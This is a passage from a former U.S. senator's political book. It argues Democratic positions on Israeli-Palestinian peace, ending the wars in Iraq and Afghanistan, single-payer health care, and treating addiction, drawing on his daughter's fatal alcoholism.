The formula for a just and lasting peace settlement has been clear ever since the United Nations overwhelmingly approved U.N. Security Council Resolution 242 following the 1967 War. The land Israeli forces seized must be returned to the Palestinians as Resolution 242 provided. Violating the U.N. formula, the Israelis have built a number of homes on land long held by the Palestinians and precious to them. Mrs. Meir once described the illegal housing settlements as "facts on the ground."
The problem with this assumption is that these "facts" are on Palestinian ground. That land should have been returned to the Palestinians in 1967. Until that is done, I see no peace between Israel and the Palestinians.
I do not believe we Democrats are helping either the Israelis or the Palestinians when we simply go along with an Israeli position that cannot possibly lead to peace. We need to make clear to the Israelis and their friends in the United States that we admire Israel and want them to have the blessings of peace and prosperity. The Israeli government should halt these settlements today and then work out a plan to assist the existing settlers in locating elsewhere in Israel.
An American Democrat is first and foremost an American patriot. This calls us to place the well-being of America as our highest loyalty. I believe it is in the best interest of America for us to be equally fair to the Israelis and the Arabs. That is also the role for an effective and honest Middle East peace broker. The Bible tells us that the Israelis are God's chosen people. That being the case, the Israelis must not ignore the biblical injunction: "What does it profit a man if he gain the whole world and loses his own soul?"
What does it profit the Israelis if they cling to the Palestinian land and gain the hatred and violence of the Palestinians and the Arab world?
"If the Palestinians do not achieve stability," Arafat told me during my 1975 visit, "the area will not achieve stability."
Many years later, Arafat entered negotiations with one of Mrs. Meir's successors, Yitzhak Rabin. I was at the White House in 1993 when President Bill Clinton brought the two former adversaries together for that famously moving handshake on the South Lawn. Just two years after that—because of his efforts to make peace—Rabin was assassinated by a right-wing Israeli. To my mind, it was probably the most costly assassination of the twentieth century. Arafat died in 2004. And more than thirty-five years after my trip, neither the Palestinians nor the region has achieved stability.
Nevertheless, dramatic changes have been taking place in the Middle East. I was captivated by the "Arab Spring" of 2011, when ordinary people in a number of countries gathered in the streets to protest the dictators who for decades had kept their own citizens down. Autocrats in Tunisia and Egypt were forced from office, while those in Bahrain and Syria at this writing were holding on by might. An uprising against Libya's strongman, Colonel Muammar el-Qaddafi, led to a violent civil war, and another in Yemen was threatening, at the time of this writing, to do the same.
And, of course, the United States finally killed Osama bin Laden.
Like so many Americans, I applaud people in the Middle East and North Africa who want to have a say in how their nations are governed. And, like so many people around the world, I do not mourn the death of a terrorist responsible for murdering thousands. But there is much more that needs to be done to bring stability to this volatile part of the world.
Besides facilitating a peace agreement between Israel and the Palestinians, we must bring home our troops from Iraq and Afghanistan. When I met with President Obama at the White House in March 2011, I begged him to withdraw from Afghanistan immediately—and completely. The president countered by saying that the best advice he had received, notably from the military experts, was to take a middle course, meaning a gradual drawdown. "Mr. President," I said, "there is a reason the American people elected you and not David Petraeus to be commander in chief."
Let's first look at Iraq. Barack Obama opposed the Iraq war from the outset, speaking against it as an Illinois state senator. In 2004 he ran for the U.S. Senate as an antiwar candidate, lambasting President George W. Bush for invading the country on what turned out to be false pretenses. Later, he introduced a Senate bill calling on President Bush to withdraw American combat brigades from Iraq by the end of March 2008. When he was running for the Democratic presidential nomination, Obama distinguished himself from his closest competitors by pointing out that he had opposed the war from the beginning and that they were late converts to the cause.
Once he got to the White House, President Obama did the right thing by declaring a formal end to combat and by drawing down American troops. Now he has to finish the job—by the end of 2011, as promised. As I write, some 46,000 American troops remain in Iraq. They have become victims of vicious rocket attacks, the targets of hard-liners aiming to take credit for pushing the occupiers out. Despite the danger to American troops, the outrageous cost of the war, and its needlessness, some people—including our conservative Republican Speaker of the House, John A. Boehner—believe that keeping soldiers there is critical to our immediate and long-term national security interests.
He couldn't be more wrong. Iraq never was critical to our national security, and it surely isn't now. There were no weapons of mass destruction, as President Bush asserted in his breathless march to war, and that country had nothing to do with the terrorist attacks of 2001. If we didn't know that then (and I would argue that we had a pretty good inkling), we certainly do now. Every day we spend in Iraq is costly on so many levels. To quote now-senator John Kerry's 1971 congressional testimony against the Vietnam War, I wouldn't want to have to be the one to explain to grieving parents why their child "was the last man to die for a mistake."
There was no valid reason for President Bush to order an American invasion of Iraq. It was a violation of international law that claimed thousands of lives and cost us $3 trillion—nearly a fourth of our national debt. Our war in Afghanistan will doubtless constitute another one-fourth of our national debt. While the killing and crippling of our soldiers is the chief cost of war, it is no small matter that half of our national debt is the result of two wars we never should have launched.
It is time for Iraqis to take responsibility for their own country. When George W. Bush first ran for president in 2000, he said he was against the idea of nation building. Once elected, it was an entirely different story. He seemed to want to turn every country, but especially Iraq, into a miniature America. I'm as much of a small- _D_ democrat as the next American. But we can't foist our way of doing things on the rest of the world. We have to let people in other countries decide for themselves what kind of government works best for them.
The same holds true for Afghanistan. We invaded Afghanistan in the fall of 2001 with one goal in mind: to root out terrorism. We wanted to stop the ruling Taliban from giving safe haven to bin Laden and his al-Qaeda killers. So we bombed it back several centuries and changed the government. But then what?
We stayed. And we're still there. Although President Obama announced his decision to withdraw 10,000 troops in 2011 and 23,000 more in 2012, my timetable there is different. To me, the answer is clear: Bring our soldiers home. Now. A decade is long enough.
There are all kinds of reasons people cite for why we should keep troops in Afghanistan. But if I may be candid, none of them makes a lick of sense.
First, they say we need to keep troops in the Middle East to combat terrorism, particularly al-Qaeda. That's a fear tactic. President Bush and his vice president, Dick Cheney, used it unapologetically and to great effect for years. Even after they botched the chance to kill or capture bin Laden early in the war in Afghanistan and embroidered lies to start a war with Iraq, they managed to scare Americans into giving them an undeserved second term.
To be clear, I'm not downplaying the tragedies wrought by terrorists and the toll that the threat of terrorism takes on our people. Certainly, we need to take precautions to protect our nation and the people who dwell in it. That we have done and continue to do. We have built up the best army, the best navy, the best marine corps and air force in history. We're perfectly capable of defending our shores.
By keeping bases in the Middle East—even in countries whose rulers welcome us, like Bahrain—we do not squelch terror. Instead, we perpetuate it by sowing anger among people who are already enraged by the regrettable conditions in which they live. Perhaps no country illustrates this better than Pakistan, the very place where we tracked down and killed bin Laden. Even as we argue that we are making their part of the world safer, Pakistanis, by and large, loathe the United States. Although the United States has given their country $20 billion in aid over a decade, Pakistanis view us not as their protector nor as their friend but as their invader, as their enemy. By continuing to bomb the border region that Pakistan shares with Afghanistan, we are creating a new generation of terrorists, plain and simple.
Another argument frequently raised for keeping our troops in Afghanistan is the protection of human rights. People who put forth this argument contend that we need to stay in Afghanistan to prevent an erosion of the humanitarian gains and civil rights that have taken hold since we drove the Taliban from power in late 2001. In particular, they say, we must protect Afghan women and girls. This is a laudable goal, one that Democrats might be expected to embrace. After all, our party has been at the forefront of the battle for women's rights in this country, so why not around the globe? Aren't we the party that supports equal pay, family and medical leave, and abortion rights? Haven't we backed the Violence Against Women Act and opposed countless forms of discrimination?
We, as Democrats and as Americans, undoubtedly want for women around the world what we want for women at home. But that doesn't mean we are in a position to deliver it.
It is true that in the fifteen years in which the Taliban were in charge, women and girls in Afghanistan had virtually no rights. They were prohibited from working outside the home, from venturing into public without a male relative, even from seeking medical help from a male doctor. Abuse was widespread : women accused of adultery were stoned to death, women who allowed a glimpse of skin were whipped. We all have seen photographs of Afghan women clad from head to shoes in blue burkas, which forces them to view the world through small mesh rectangles and makes them practically invisible in their own land.
After the United States invaded Afghanistan in 2001, the world took notice of the plight of Afghan women. First Lady Laura Bush spoke out on their behalf. Governments and nonprofits took up the cause. Things started to change.
Imagine: only 5,000 Afghan girls attended school in 2001. Now Oxfam reports that 2.4 million do. Women have paying jobs, they appear on TV, they even serve in Parliament.
Admittedly, the gains are neither complete nor universal. Afghan women have a long way to go to achieve the kind of basic human rights that all people deserve. However, that is not an argument for keeping our troops in their cities and towns, not a reason to continue risking American lives. Mark my words: when we finally withdraw, whether it's tomorrow or ten years from now, the gains that have been made on behalf of Afghans in general and women in particular will be reversed. We can't keep troops around the world to make everyone behave as we would like.
Generally, I'm an optimist. But it would take more than that to think things are going to get better there. I remember reading Paul Theroux's _The Great Railway Bazaar_ some years ago. When he went to Afghanistan, he wrote that there was no excuse for that country. It's not really a country as you and I understand it. It's a collection of tribes, many of which despise each other. They have resisted occupation going back to Alexander the Great in 334 B.C. No other country has ever been able to work its will there. The Soviets invaded Afghanistan in 1979, were mired in a war there for a decade, and finally left in humiliation. (Afghanistan is widely considered the "Soviet Vietnam.") Meanwhile, millions of Afghans were displaced, and many of them fled to Pakistan or Iran. More than a million Afghans were killed, as were nearly 15,000 Soviet soldiers. Many more on both sides were permanently disabled or disfigured by bullets, bombs, or land mines. It was a colossal mess. I don't think we'll succeed any more than the Soviets did.
No matter how long we stay in Afghanistan, the Taliban will stay longer. Sure, we'll kill some of them, maybe even a lot of them. But for what? To be honest, I'm not even sure how we would know if we won. Would we count up the number of Taliban dead and compare it to the number of American dead? Would we remake the economy so that it's no longer dependent on the heroin trade? Would we wait until women had equal rights (a long wait, for sure)? What is the definition of "victory"?
One lesson we definitely learned from President Bush is how _not_ to prosecute war—or peace. The Bush Doctrine—which I define as the willingness to act unilaterally and preventively—dramatically changed the primary tenets of America's foreign policy. Principles of deterrence and containment that had been followed by Democratic and Republican presidents, including President George H. W. Bush, for decades were abandoned. Do you realize that George W. Bush is the first United States president to actually _start_ a war overseas? By contrast, when his father sent American troops to the Persian Gulf in 1991, it was in response to Iraq's invasion of Kuwait and with the backing of a broad coalition of nations that his administration took the time to bring together.
Luckily, President Obama seems to have learned from some of the mistakes of his predecessor. When Colonel Muammar el-Qaddafi started massacring rebels in Libya, the president didn't rush in as if America were the sole savior of all oppressed people. Instead, he worked closely with NATO to institute a no-fly zone and try to prevent further killings. On the occasions that we have to use force—and I believe we should do so sparingly—this is the way to go about it. So I was appalled by the House Republicans' hypocrisy in refusing to give our commander in chief the vote to continue the mission. Can you imagine how loudly the Republicans would have cried foul if we Democrats had done the same?
If we really want to bring stability to that most unstable region of the world, we should bank less on the military and more on diplomacy, development, and support for new, democratic institutions. It is by fostering friendships and alliances, not by flexing our military muscle, that we can best ensure that al-Qaeda and other terrorist organizations do not gain (or regain) a foothold in countries that are experiencing transformation.
Which brings me back to the Israelis and Palestinians. We must encourage peace between these two peoples in order to stabilize the region. Not only is this the right course of action on moral grounds—Palestinians deserve their own state and Israelis deserve to live without existential threats—it is a way to reduce tensions in the entire Middle East. For years, terrorists throughout the region have used Israel as a scapegoat for their own murderous behavior and as a rallying cry against Israel's patron, the United States. "The lack of progress toward Middle East peace clearly is an issue that is exploited by our adversaries in the region, and a source of political challenges," said then–Secretary of Defense Robert Gates in March 2010, which is why "the U.S. has considered peace in the Middle East to be a national security interest for decades."
If Israel no longer occupies Palestinian territories—if the two peoples can live side by side peacefully—we can remove that excuse and further isolate terrorist organizations such as al-Qaeda, Hezbollah, and Hamas.
I agreed with President Obama when he laid out his view of where negotiations between these long-standing adversaries should begin (or, more accurately, begin again, following a hiatus). In a speech that was risky for a president facing a reelection campaign, he articulated what had long been a behind-the-scenes consensus: the starting point for peace talks should be pre-1967 borders with mutually agreed-upon land swaps. In other words, the Palestinians would get back most of the land that Israel occupied following the Six-Day War; Israel would retain some of the more significant settlements it has erected in the West Bank in exchange for other land along the border.
This is a sound and rational position, one that would require each side to give up something in the quest for peace. It is a position I have been advocating since those days in the 1970s when Mrs. Meir canceled our lunch.
Sadly, the president's speech was seized on by Israeli prime minister Benjamin Netanyahu and American Republican leaders, who tried to use it to their political advantage. Both the prime minister and the Republicans criticized President Obama, saying that he jeopardized Israel's security and pushed an ally "under the bus." This is not so. What the president was attempting was to clear the way for a peace agreement that would allow Israelis to live free from the fear of suicide bombers and war, and that would permit Palestinians to finally have a state of their own.
It was the right thing to do.
Israel's continued occupation of the West Bank and the Gaza Strip is bad not only for the Palestinians, who lack some of the basic freedoms we in America hold so dear, but for Israel itself. It will not be long before the Palestinians' higher birth rate makes them a majority population in the land. At that point, Israel will have to reassess its claim that it is really a representative democracy—or abandon its identity as a Jewish state.
Negotiating peace with the Palestinians, and ending its occupation of their lands, is the only way for Israel to secure its own future, to shed the yoke of an occupier, and to give its children and the Palestinian children the peace they deserve.
President Obama showed courage when he gave his speech, and I admire him for it. He did not hold his finger up to see which way the political winds were blowing any more than Harry S. Truman did in 1948 when he backed the birth of the Israeli state. Democrats, some of whom immediately sought to distance themselves from President Obama on this issue, must instead stand with him and give him the political backing he needs to press the Israeli government to accept this starting point. Jewish Democrats, in particular, must demonstrate that they support a so-called two-state solution (which polls show the majority of Jews in America and Israel do) and that they will not abandon the party for prodding Israel to move toward that goal. We must not allow Republicans to turn this into a wedge issue. Peace is far too important to be reduced to that.
UNIVERSAL HEALTH CARE
**M** y mother grew up in Calgary, Alberta, and many of my relatives and their families still live there. My Canadian cousins are amazed that, as advanced as we are in some ways, the United States still doesn't have universal health care. I'm with them. The logic for instituting it here is so flawless, it hardly bears discussion.
The Canadian approach makes sense to me, particularly since American health statistics are not in our favor. During their lifetime, one in nine women in the United States will get breast cancer. Each year, one in eight babies—about 500,000—will be born prematurely, and around 700,000 people will have a stroke. And at any one time four to five million people have dementia. Countless people will struggle with addiction or clinical depression or both.
It's a given that there will come a time when you or a family member will need extensive care. For our family, it was when my late wife, Eleanor, developed heart problems, and when our beloved daughter Terry battled alcohol addiction. After many years and many attempts at long-term sobriety, Terry died, and I fell headlong into a deep depression that was resolved when I was treated at the Johns Hopkins Hospital in Baltimore.
Even during those grim times, I knew how fortunate we were to have health insurance. In 2009, at the height of the recent recession, I ached for the one-sixth of the U.S. population—nearly 51 million people—who were without it. A few days in the hospital would be financially catastrophic for them. With luck and care they might recover from a serious illness, but their solvency would not.
Serious illness can wipe out a middle-class family. Researchers from Harvard Law School, Harvard Medical School, and Ohio University found that most personal bankruptcies are filed by people whose medical bills are more than 10 percent of their income. And about 75 percent of them had medical insurance but were felled by co-pays and uncovered costs. Some of my American relatives are among the even larger group of people who, because of medical debt, neared bankruptcy without going over the edge.
The inability to fix someone you love, the back-and-forth bounce between hope and despair, the week-in, week-out care, is exhausting emotionally and physically. I have visited with a great many people who have reached the far end of their tether, pulled between their job and the hospital, mortgage payments and hospital bills.
In medicine, the good news can also be bad: the more medical advances, the more wonder drugs there are, and the better-trained our physicians, the higher the costs. I think that's a burden we ought to spread over the whole society.
In 2010, Barack Obama and the Democrats in Congress did an outstanding job in passing the Patient Protection and Affordable Care Act to make health insurance available for every American. The bill passed without a single Republican vote.
The law is being phased in over five years, but it has already eliminated some of the major shortcomings of the private insurance system. It has made health coverage available to more children and young adults, ended lifetime limits on coverage, made more preventive services available at no cost, improved pharmaceutical coverage for seniors on Medicare, and provided tax credits to small businesses that insure their employees. The law also prohibits insurers from the heinous practice of denying coverage to children who have preexisting conditions, a provision that later will be extended to adults. It offers much-needed discipline to the insurance companies, which have called the shots for far too long.
But I think we should go further.
We should replace the 906-page bill, which I'm sure many lawmakers and most citizens haven't read, with a seven-word sentence that reads: "Congress hereby extends Medicare to all Americans."
My firsthand experience with Medicare has convinced me that a Medicare-like plan, or single-payer system such as Canada enjoys, should apply to everyone, not just to old duffers like me. Such universal coverage would mean that anyone, of any age, could go to a doctor of their choice—and the government would pay the bill. It would help young families raising children and lift the burden from hiring older workers, who, according to the Congressional Research Service, are unemployed at higher rates and for longer periods than their under-fifty-five counterparts, in part because their health insurance costs more.
We need more preventive care and more clinics to manage routine and chronic illnesses, vaccinations, and prenatal care so that fewer people end up in the emergency room. We need more screenings. One reason health insurance is so expensive is that without regular screenings, diseases are not discovered until they have progressed. Simply put, stage one cancer is easier and cheaper to eradicate than stage two, three, and four.
The idea of universal coverage has been around since Franklin Roosevelt's day, when Frances Perkins, FDR's secretary of labor and the first woman to hold a Cabinet post, put it on the table. The mother of Social Security, Perkins understood that Americans needed a health safety net. In 1945, only seven months into his presidency, Harry Truman tried in vain to sell the idea of a national health insurance plan to Congress. And we all remember that the health care debate in Congress was not the Clintons' most successful hour. So here we are—still without national health care.
But Republicans already think we've gone too far. Conservatives and the medical lobby have worked hard to spread rumors and horror stories about universal care. They don't bother to make a distinction between socialized medicine—the system in place in the UK, the U.S. military, and the U.S. Department of Veterans Affairs—in which the government runs the hospitals and pays doctors' salaries—and a single-payer system, in which doctors in private practice are paid a fee-for-service from government funds.
We've all heard the GOP's arguments: You'll get bottom-rung doctors from offshore medical schools. Your doctor will have no time to talk with you. You'll never get the same doctor twice. You'll wait for hours. They'll skimp on tests and treatments.
This is all nonsense.
Along with Social Security, Medicare is the federal government's most successful and perhaps most popular program. Since it was signed into law by Lyndon Johnson in 1965, it has provided medical care to all Americans sixty-five and older. The program is beloved for one reason: it is extremely effective. I get to go to the doctors and specialists I choose. Republicans often suggest that Medicare is government intrusion. Well, I have never heard a single recipient complain that Medicare is bureaucratic meddling.
During the health care debate of 2010, Republicans carried on like Chicken Little, not only scaring citizens into believing that the Patient Protection and Affordable Care Act would doom them to substandard care but, along the way, would break the budget. Soon after the bill passed, twelve state attorneys general, all Republicans, filed lawsuits seeking to declare the mandate to buy insurance illegal. If they win, the bill will be overturned. A majority of voters were made nervous enough to help the GOP take control of the House and gain seats in the Senate in 2010. As soon as Republicans took over the House of Representatives in January 2011, they voted to repeal the ten-month-old law. Of course, this was an empty political gesture; they knew the Democratic majority in the Senate would never abandon the measure.
Now conservatives are taking an "If it ain't broke, break it" approach. The Republican message is that Medicare is going to go bankrupt, and the party leadership has proposed privatizing the system. Were this to go through, the nonpartisan Congressional Budget Office estimates it would force individual seniors to pay more than $12,510 for medical care each year—twice as much as they would pay under Medicare—starting in 2022.
I feel so strongly about universal health coverage that I think a person who doesn't favor it would probably be more at home in the Republican Party. Good health care is so essential that I'd argue that the federal government that defends us against enemies abroad should also protect us from illness at home.
ALCOHOL AND DRUG ADDICTION
**L** osing a national presidential election, as I did to Richard Nixon in 1972, is a sad experience. But it is a skinned elbow next to the irreparable pain of losing a child. Our Teresa Jane McGovern, called Terry from the day she was born in 1949, was the middle of our five children. She died in Madison, Wisconsin, in 1994. She froze to death, falling down in a snow-covered parking lot while intoxicated. She was an alcoholic.
Our family is close: we cherish each other. We not only treasured Terry, we had the financial resources to pay for her prodigious and repeated efforts to get—and stay—sober. We cheered her, helped her enter rehab, attended family meetings, and finally, in hopes of helping her to confront her alcohol dependence, distanced ourselves. We even agreed to have her committed to a long-term care facility if it became the only way to save her.
Many alcoholics have no such underpinnings. And sometimes all the support in the world isn't enough. The disease is often stronger than love. It was stronger than Terry's deep desire to get well.
Alcoholism cuts across every demographic. It affects the young and the old, the poor and the rich, the meek and the mighty. It strikes more men than women, more African Americans than whites. As I wrote in my 1996 book, _Terry: My Daughter's Life-and-Death Struggle with Alcoholism_ , this disease "is like a thief in the night. It can steal up on you and seize your life, liberty, and pursuit of happiness before you comprehend what happened."
There are far too many stolen lives. In the United States alone, there are 17.6 million people who abuse alcohol—meaning their drinking is destructive _and_ addictive. They are alcoholics. What does that mean? It means that they are so hooked on alcohol that they can't quit the excessive intake even when they desperately want to stop drinking. Many drinkers start young—1.6 percent of twelve- to thirteen-year-olds are binge drinkers (five drinks for males or four drinks for females within about two hours); 7 percent of fourteen- to fifteen-year-olds; 17 percent of sixteen-to seventeen-year-olds, and nearly 35 percent of eighteen- to twenty-year-olds—before they reach the legal drinking age, according to the 2009 National Survey on Drug Use and Health. Starting young could be a predictor of future alcohol abuse. I know it was for Terry, who took her first drink—a Colt 45—when she was just thirteen.
As a society, we tend to see addictions as weaknesses that could be overcome. Perhaps that is a way of assuring ourselves that it can't happen to us. But it can. And it does.
Addiction is an illness like diabetes, multiple sclerosis, or cancer. And like them, genetics plays a part. Some 75,000 Americans die from an alcohol-related disease or accident every year. There are about 38,000 drug deaths each year, with painkillers like OxyContin, morphine, and methadone accounting for more deaths than cocaine and heroin combined. And every person who dies was once somebody's lovable little girl or boy—like Terry.
America needs to treat addiction like the illness it is. We can start by putting more money toward research. We need to find out how to help people like Terry, who suffered from chronic relapses. In the years since she died, scientists have developed medications, including naltrexone, intended to curb cravings by blocking the brain receptors that make drinking pleasurable.
The late Betty Ford's public admission that she was addicted to alcohol and painkillers showed unprecedented courage in 1980. She lent her name to the now well-known California clinic to embolden other people to take on their addictions. And First Lady Rosalynn Carter shone the nation's attention on mental illness: Terry was among the 50 percent of alcoholics who also suffer depression. Mrs. Carter lobbied for the passage of a 2007 law forcing insurance companies to cover treatment just as they do for physical illnesses. Barack Obama's 2010 Patient Protection and Affordable Care Act extends coverage for mental health and substance abuse.
As Democrats, we need to heighten attention to alcoholism, its ripple effects on families, and, ultimately, on our country—divorce, domestic abuse, and absenteeism from work and school. Taking this complex issue head-on would make for a more productive nation. And while there's a debate on the effects of advertising on children's behavior, I can't help but think that some, if not a considerable portion, of the $4.5 billion a year spent on alcoholic beverage marketing falls on eyes and ears made all the more vulnerable because they are young. As with tobacco advertising, I believe our children would be better off without Madison Avenue giving them the impression that drinking is cool. Moderate drinking can be enjoyable for most of us, but not for alcoholics.
We also need to remember that although alcohol is legal, it is still a drug. Certainly, a major difference is that while we tolerate alcoholism, often our response to drug addiction is to punish the addicts. American prisons are filled with people whose crime was that they used illegal drugs or sold small amounts of them in order to support their habits.
Terry nearly went to prison once.
It was July 1968, and I was in Los Angeles to speak at a luncheon in tribute to Robert Kennedy. We had been close friends, and I had spoken to Bobby by telephone only a few minutes before he was shot on June 4. My noontime address paid homage to his legacy: "We can yet serve the end he so tenderly sought for us all—'to tame the savageness of man, and make gentle the life of the world.'" As I prepared to deliver it, I picked up the _Los Angeles Times_ and was greeted with this front-page headline: "Senator's Daughter Arrested on Drug Charge," news that Eleanor had delivered to me by telephone the previous night.
On summer vacation from Dakota Wesleyan University, Terry had been arrested in Rapid City, South Dakota, where she had been working on behalf of my Senate reelection campaign. She had been staying in a Black Hills motel with other student campaign workers. An employee thought she smelled marijuana. Knowing that my daughter was probably among the campaigners on hand, the woman—a staunch Republican—called the local GOP chairman. He called the Republican attorney general, who contacted the Rapid City police. The police obtained a search warrant and, at midnight, knocked on the door of the room Terry was sharing with a friend. There they found a small container of pot.
It was a trifling amount. But legally it was a big deal. South Dakota had just enacted a law setting a mandatory prison sentence of at least five years for anyone convicted of possessing marijuana for a first offense. Terry and her roommate were the first two people charged under the new law. We hired some topnotch lawyers, who discovered a technicality that invalidated the search, and the judge dismissed the case.
This kind of thinking—arrest the problem by arresting the offenders—was boosted by Richard Nixon's "War on Drugs," a response to the growing heroin epidemic among U.S. soldiers in Vietnam in 1971. In the forty years since, we have arrested 40 million people on drug charges and spent $1 trillion. It has not worked.
In a letter to Congress in 1977, Jimmy Carter, noting that "stringent laws" to discourage marijuana use since it was declared illegal in 1937 had been unsuccessful, recommended that we decriminalize possession of up to one ounce. "Penalties against possession of a drug should not be more damaging to an individual than the use of the drug itself," he wrote.
But Ronald Reagan, who was elected after Carter's single term, escalated the fight. He signed a drug bill in 1986 that included money to build new prisons and created stringent federal mandatory drug sentencing. Between 1981, when he took office, and 2009, the U.S. prison population jumped from 550,000 to 2.3 million people. In that same period, drug-related prisoners increased 1,100 percent. With 794 people out of every 100,000 behind bars, the United States has more people in jail than thirty-six European countries combined. So it's no wonder the American Civil Liberties Union calls us the "world's largest incarcerator."
Here's what I think: dealers—those who provide or sell drugs to children—and users who commit violent crimes certainly must be punished. But many of the people filling our state and county lockups—and there are well over a million—are small-time users and addicts who might be productive citizens if they can gain control over their disease.
Democrats are often viewed as being "soft" on crime. This is a ridiculous charge that angers me every bit as much as the insinuation that we are somehow less patriotic than Republicans. During Bill Clinton's administration, violent crime, which peaked in 1992, dropped for eight consecutive years. It's now lower than it has been in four decades. As with our defense budget, the amount of money we spend each year on keeping people in jail could be put to better use. California has spent more on prisons than on education, and the conditions are terribly overcrowded, so much so that in 2011 the U.S. Supreme Court ruled the situation a human rights violation.
The Obama administration has taken a step in the right direction by promoting the use of drug courts, which allow judges to order offenders into treatment programs as an alternative to prison. Government and private studies have shown not only that drug courts help offenders control their addictions but that, by doing so, they reduce the crime rate. Addicts don't commit crimes because they are criminals; they resort to crime because they need money to feed their craving. If they can regain control over their lives and stay sober or drug-free, they no longer need to steal in order to buy their drug of choice.
In 2011 the Global Commission on Drug Policy, which included former presidents and prime ministers, business and government leaders, human rights activists and writers, left no room for ambiguity on this question. "The global war on drugs has failed," it said. The report shows that between 1998 and 2008, the use of opiates leapt 34.5 percent, cocaine 27 percent, and cannabis 8.5 percent. Instead of acting as a deterrent, our nation's tough-on-drugs approach backfired spectacularly. The report recommended that we treat users who do no harm to others as patients and not as criminals, substituting treatment for jail time. It also suggested that governments experiment with legalizing some drugs, particularly marijuana, and to concentrate efforts on violent criminal organizations, not on low-level producers and dealers. It highlighted several European countries that can provide an effective model for us to follow.
Some states are starting to make positive changes on their own. Faced with overcrowded prisons and outrageous corrections costs, they are reducing sentences for low-risk, nonviolent drug users and creating treatment programs intended to help them stay out of prison for good and become productive members of society. More states—and the federal government—need to follow suit.
When we do send drug offenders to prison, we need to provide them with treatment and reentry programs that will help them reintegrate into their communities. Every year we release almost 750,000 drug offenders from prison. Many of them don't stay out for long, in part because we don't do enough to help them transition to new and better lives.
Democrats, it is time that we made drug and alcohol treatment a priority. Republicans often lay claim to the family values mantle, but if ever there was an issue that affects families, it is this. Addiction touches—or frightens—every one of us. And while we're at it, we need to put "Just Say No" to rest. I consider Nancy Reagan a friend, one who has many admirable qualities. But children who have addictive tendencies can't live by just saying no. We need to give our children workable strategies for dealing with the drugs—both legal and illegal—that will confront them. If saying no worked, my dear daughter would not have died.
CONCLUSION:
HONING THE DEMOCRATIC MESSAGE
**D** emocrats, if ever there was a moment to define ourselves boldly, to stick to our ideals, it is now. I was inspired to enter politics by Adlai Stevenson's eloquent late-night acceptance speech at the 1952 Democratic National Convention in Chicago. I was at home in Mitchell, South Dakota, up on a ladder, painting our living room, the radio turned low so as not to wake my family. Stevenson, who was running against the popular war hero Dwight D. Eisenhower, had little chance of winning. But I found his message so moving that I put down my paintbrush, climbed off the ladder, and sank back into an old chair to listen.
His concern, he said, "is not just winning this election but how it is won . . . I hope and pray that we Democrats, win or lose, can campaign not as a crusade to exterminate the opposing Party, as our opponents seem to prefer, but as a great opportunity to educate and elevate a people . . ."
By the time Stevenson finished, I was ready to sign on to his campaign. Lacking money and political connections, I decided to write a series of op-ed pieces for the _Mitchell Daily Republic_ on the historical issues that separated Republicans and Democrats. They were a hit. Not long after, the Democratic Party state chairman asked me to leave my teaching job and create a new one: executive secretary for the Democratic state party. And the rest, as we former professors like to say, is history.
Democrats and Republicans want the same for our nation: a healthy economy, well-educated children, enough jobs to go around, a safe and vibrant society. Democrats are the party of Andrew Jackson, Woodrow Wilson, and Franklin Roosevelt. Republicans are the party of Abraham Lincoln, Theodore Roosevelt, and Dwight D. Eisenhower. Our nation has achieved its greatness through the leadership of each.
But we have different ideas about how to get there—and that is as it should be. This is how democracy works. Our founding fathers understood that the push and pull of debate clarifies issues and refines solutions. They assumed that ultimately the people steering our government would put aside self-interest to achieve the common good.
When I was in the Senate, from 1963 to 1981, it was a congenial place, despite the fact that I disagreed sharply with Republicans on many issues. One example of compromise: Mark Hatfield, the Oregon Republican, and I cosponsored a controversial amendment to end the Vietnam War. There are countless more.
Such compromise does not—and has not—always come easily. In 1856, during the lead-up to the Civil War, Representative Preston Brooks, a South Carolina Democrat, entered the Senate and struck Massachusetts senator Charles Sumner repeatedly over the head with a cane—almost killing him—for remarks Sumner had made against Brooks's cousin. Fortunately our differences are rarely so dramatic. Still, there are plenty of colorful stories of political adversaries brandishing (and sometimes firing) pistols and throwing punches on the congressional floor and off.
Once in a while I almost think that old-fashioned fisticuffs seem preferable to the insidious atmosphere that now prevails in Washington. At least it was straightforward. Best, of course, is to fight hard for party principles and negotiate a deal. But while President Obama promised to govern in a spirit of bipartisanship, that, by definition, involves two sides, and today's Republican Party, with its zealous Tea Party wing, appears unwilling to give any ground.
Even before the Tea Party became a force, however, politics as usual had turned mean-spirited. I'm afraid that what Adlai Stevenson said nearly six decades ago about the GOP wanting to "exterminate the opposing party" at any cost is truer than ever.
But there is far too much at stake to waste a moment hand-wringing or complaining. Right now we have 14 million men and women without jobs, millions of families in bankruptcy and foreclosure, and some 50 million people without health insurance. We have families who cannot afford to send their children to preschool and others fretting over how to pay for college. We have Americans who go without enough to eat and others for whom nutritious food is simply not within reach. We have men and women in prison for drug use who should instead be in treatment. We have soldiers fighting in distant wars who should be at home with their families. We have immigrants who have traveled under horrific conditions in search of a better life that still eludes them in our midst. Never in modern times have so many people needed a hand so desperately.
These are our pressing concerns, not the petty politics of our opposition. One topic that may divide Democrats and place some of us outside the president's view are the two seemingly endless and mistaken wars in Iraq and Afghanistan. In my view, we never should have invaded either of these countries.
Yes, Republicans have worked to tear America apart by creating wedge issues and by falsely characterizing Democratic positions. Yes, Republicans have commandeered God, family, and flag—things we all value, no matter what our party affiliations or how flush our bank accounts. Yes, Republicans have taken the offensive on such highly personal matters as abortion, an area that should not even be involved in politics. (It is essentially a women's issue, since none of us men can ever be pregnant or have an abortion. The woman will make the decision after consultation with her partner, her doctor, and her spiritual adviser. Several years ago, when Eleanor and I were in Minneapolis, we watched a televised debate that included the wrestler Jesse Ventura, who was running for governor. When they asked all three candidates where they stood on abortion, Jesse said: "I don't know anything about abortion. I'd just leave it to the women." Jesse unexpectedly won the election. I thought his answer was on the money.)
Demagoguery on these topics makes us angry—and it should.
But what matters most at this critical juncture, as the future of our nation is hammered out in the halls of Congress, is that we Democrats remember who we are: we are the party of solutions. We are, as I emphasized, the party of the New Deal, the New Frontier, the Great Society, and the War on Poverty.
We are the party that believes we can't let the strong kick aside the weak. Our party believes that poor children should be as well educated as those from wealthy families. We believe that everyone should pay their fair share of taxes and that everyone should have access to health care.
Let me reiterate: almost every great federal program put in place since World War II was conceived by Democrats. Among them: Medicare, Medicaid, Social Security, the Food Stamp Program, the Voting Rights Act, Head Start, the Peace Corps, the National School Lunch Program, Lilly Ledbetter Fair Pay Act, collective bargaining laws, the Fair Labor Standards Act, the State Children's Health Insurance Program, the Family and Medical Leave Act, and the Patient Protection and Affordable Care Act.
